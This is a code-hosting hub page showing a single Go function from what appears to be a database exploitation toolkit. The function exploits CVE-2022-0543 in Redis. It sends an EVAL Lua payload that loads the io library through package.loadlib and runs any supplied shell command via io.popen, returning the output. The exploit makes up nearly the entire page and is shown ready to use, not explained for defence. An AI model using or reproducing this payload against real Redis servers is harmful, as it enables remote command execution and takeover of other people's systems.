MCPcopy Create free account
hub / github.com/Hel10-Web/Databasetools / RedisLua

Function RedisLua

pac/redis_lua.go:10–19  ·  view source on GitHub ↗

RedisLua Lua沙盒绕过命令执行 CVE-2022-0543

(cmd string)

Source from the content-addressed store, hash-verified

8
9// RedisLua Lua沙盒绕过命令执行 CVE-2022-0543
10func RedisLua(cmd string) {
11 ctx := context.Background()
12
13 val, err := Rdb.Do(ctx, "eval", fmt.Sprintf(`local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("%v", "r"); local res = f:read("*a"); f:close(); return res`, cmd), "0").Result()
14 if err != nil {
15 Err(err)
16 return
17 }
18 fmt.Println(mahonia.NewDecoder("gbk").ConvertString(val.(string)))
19}

Callers 2

HelpFunction · 0.85
loopCmdFunction · 0.85

Calls 1

ErrFunction · 0.85

Tested by

no test coverage detected